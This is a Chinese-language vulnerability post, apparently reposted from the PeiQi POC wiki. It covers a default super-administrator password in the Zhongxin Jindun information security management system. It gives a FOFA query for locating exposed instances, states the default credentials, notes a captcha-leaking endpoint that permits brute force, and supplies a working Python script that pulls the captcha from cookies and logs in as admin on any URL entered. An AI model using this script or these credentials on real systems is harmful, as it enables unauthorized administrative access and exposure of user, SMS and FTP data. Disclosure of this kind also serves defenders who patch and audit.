中新金盾信息安全管理系统 默认超级管理员密码漏洞

  • A+
所属分类:安全文章

中新金盾信息安全管理系统 默认超级管理员密码漏洞



:漏洞描述🐑


中新网络信息安全股份有限公司中新金盾信息安全管理系统存在默认弱口令,登录身份为超级管理员 目前大部分使用的都受到了影响



二:  漏洞影响🐇


中新金盾信息安全管理系统


三:  漏洞复现🐋


FOFA:title="中新金盾信息安全管理系统"

看到产品手册

https://wenku.baidu.com/view/14523474cfc789eb172dc8b4.html


中新金盾信息安全管理系统 默认超级管理员密码漏洞

系统默认管理员账号密码:admin/[email protected]#$


中新金盾信息安全管理系统 默认超级管理员密码漏洞

登录页面如上,使用账号密码登录

其中泄露了大部分信息,其中包括 SMMS与FTP 及用户信息

中新金盾信息安全管理系统 默认超级管理员密码漏洞

中新金盾信息安全管理系统 默认超级管理员密码漏洞

请求  ?q=common/getcode  时返回了验证码,通过验证码可爆破账号密码等操作

中新金盾信息安全管理系统 默认超级管理员密码漏洞

四:  漏洞POC🦉

import requestsimport sysimport randomimport reimport base64import timefrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title(): print('+------------------------------------------') print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m') print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m') print('+ 33[34m公众号 : PeiQi文库 33[0m') print('+ 33[34mVersion: 中新金盾信息安全管理系统 默认超级管理员密码漏洞 33[0m') print('+ 33[36m使用格式: python3 poc.py 33[0m') print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx 33[0m') print('+------------------------------------------')
def POC_1(target_url): vuln_url = target_url + "?q=common/getcode" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", } try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5) print("33[36m[o] 正在获取验证码 {}?q=common/getcode ..... 33[0m".format(target_url)) response_data = response.headers['Set-Cookie'] check_code = re.findall(r'check_code=(.*?);', response_data)[0] PHPSESSID = re.findall(r'PHPSESSID=(.*?);', response_data)[0] print("33[36m[o] 验证码:{}n[o] PHPSESSID:{} 33[0m".format(check_code, PHPSESSID)) POC_2(target_url, check_code, PHPSESSID)
except Exception as e: print("33[31m[x] 请求失败 33[0m", e)
def POC_2(target_url, check_code, PHPSESSID): vuln_url = target_url + "?q=common/login" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Cookie":"PHPSESSID={}; check_code={}".format(PHPSESSID, check_code), "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" } data = "name=admin&password=zxsoft1234!%40%23%24&checkcode={}&doLoginSubmit=1".format(check_code) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=5) if "1" in response.text and response.status_code == 200: print("33[36m[o] 目标 {} 存在默认管理员弱口令 admin / [email protected]#$ 33[0m".format(target_url)) else: print("33[31m[x] 目标 {} 不存在默认管理员弱口令 33[0m".format(target_url)) except Exception as e: print("33[31m[x] 请求失败 33[0m", e)

if __name__ == '__main__': title() target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m")) POC_1(target_url)

中新金盾信息安全管理系统 默认超级管理员密码漏洞


 五:  关于文库🦉



在线文库:

http://wiki.peiqi.tech


Github:

https://github.com/PeiQi0/PeiQi-WIKI-POC


最后

下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号

想要加入交流群的师傅公众号点击交流群加我拉你啦~

想要投稿的师傅想我啦,一起建设文库~

别忘了Github下载完给个小星星⭐


同时知识星球也开放运营啦,希望师傅们支持支持啦🐟

知识星球会优先公开一些漏洞,同时里面不会像公众号一样一天只能一条,大家可以畅所欲言的啦~


中新金盾信息安全管理系统 默认超级管理员密码漏洞


中新金盾信息安全管理系统 默认超级管理员密码漏洞


本文始发于微信公众号(PeiQi文库):中新金盾信息安全管理系统 默认超级管理员密码漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: